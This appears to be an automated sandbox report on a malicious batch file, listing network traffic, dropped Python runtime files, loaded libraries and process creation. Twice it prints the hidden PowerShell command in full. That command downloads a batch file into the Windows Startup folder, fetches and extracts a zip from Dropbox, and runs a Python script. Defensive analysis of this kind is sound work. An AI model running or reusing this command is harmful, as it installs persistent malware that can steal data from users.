Source: Joe Sandbox View	IP Address: 20.233.83.145 20.233.83.145

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS query: name: ipinfo.io

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ty9989/u/raw/main/ud.bat HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/xgyxbty4c17yg95ziuhf5/T1.zip?rlkey=zhc1rx2g0o7knrhq4xj62yw3w&st=xde91yel&dl=1 HTTP/1.1Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cd/0/get/Cf6O6-mc1Oh-6LK1qMCBrbPcO27RUCmiF0EN9_8RPLhrmulU-F73oXgmVcZz6s52Yi-GpG25UcOI1c7fca8l9yXfF1bJOK85cQ10KMBYlcGDgE-1DHRidsXw1bBd6rpI09RKwpw8QJ37uO55aulU8ssP/file?dl=1 HTTP/1.1Host: uc57b921b8fb2b8f1ee6bb4aec99.dl.dropboxusercontent.comConnection: Keep-Alive

Source: powershell.exe, 00000003.00000002.3367047853.000002228A466000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: U/Policy: default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://*.dropboxusercontent.com/p/hls_master_playlist/ https://*.dropboxusercontent.com/p/hls_playlist/ ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; font-src https://* data: ; connect-src https://* ws://127.0.0.1:*/ws blob: wss://dsimports.dropbox.com/ ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://*.purple.officeapps.live-int.com https://officeapps-df.live.com https://*.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; base-uri 'self' ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; media-src https://* blob: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; img-src https://* data: blob: ; frame-ancestors 'self' https://*.dropbox.com equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: www.dropbox.com
Source: global traffic	DNS traffic detected: DNS query: uc57b921b8fb2b8f1ee6bb4aec99.dl.dropboxusercontent.com
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_overlapped.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_ssl.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_msi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_sqlite3.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\tk86t.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\python.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testmultiphase.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_queue.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_decimal.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\vcruntime140_1.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_ctypes.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\setuptools\cli-32.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\setuptools\cli-arm64.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\libffi-7.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testconsole.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_socket.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_ctypes_test.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_elementtree.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\unicodedata.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\select.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\setuptools\cli-64.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\pyexpat.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\charset_normalizer\md.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\tcl86t.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_lzma.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\setuptools\cli.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\charset_normalizer\md__mypyc.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_bz2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testcapi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testinternalcapi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testbuffer.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testimportmultiple.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_asyncio.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_zoneinfo.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_tkinter.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\sqlite3.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\python310.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\winsound.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_multiprocessing.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_uuid.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\libssl-1_1.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_hashlib.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\_ARC4.pyd	Jump to dropped file

Source: unicodedata.pyd.3.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: _overlapped.pyd.3.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: _testbuffer.pyd.3.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1912:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1820:120:WilError_03

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\zW72x5d91l.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/xgyxbty4c17yg95ziuhf5/T1.zip?rlkey=zhc1rx2g0o7knrhq4xj62yw3w&st=xde91yel&dl=1', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\Document\python.exe "C:\Users\Public\Document\python.exe" C:\Users\Public\Document\Lib\prt.py
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/xgyxbty4c17yg95ziuhf5/T1.zip?rlkey=zhc1rx2g0o7knrhq4xj62yw3w&st=xde91yel&dl=1', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\Document\python.exe "C:\Users\Public\Document\python.exe" C:\Users\Public\Document\Lib\prt.py	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: python310.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: python3.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: libcrypto-1_1.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: libssl-1_1.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: pywintypes310.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: python310.dll.3.dr	Static PE information: section name: PyRuntim
Source: vcruntime140.dll.3.dr	Static PE information: section name: _RDATA
Source: libcrypto-1_1.dll.3.dr	Static PE information: section name: .00cfg
Source: libssl-1_1.dll.3.dr	Static PE information: section name: .00cfg

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
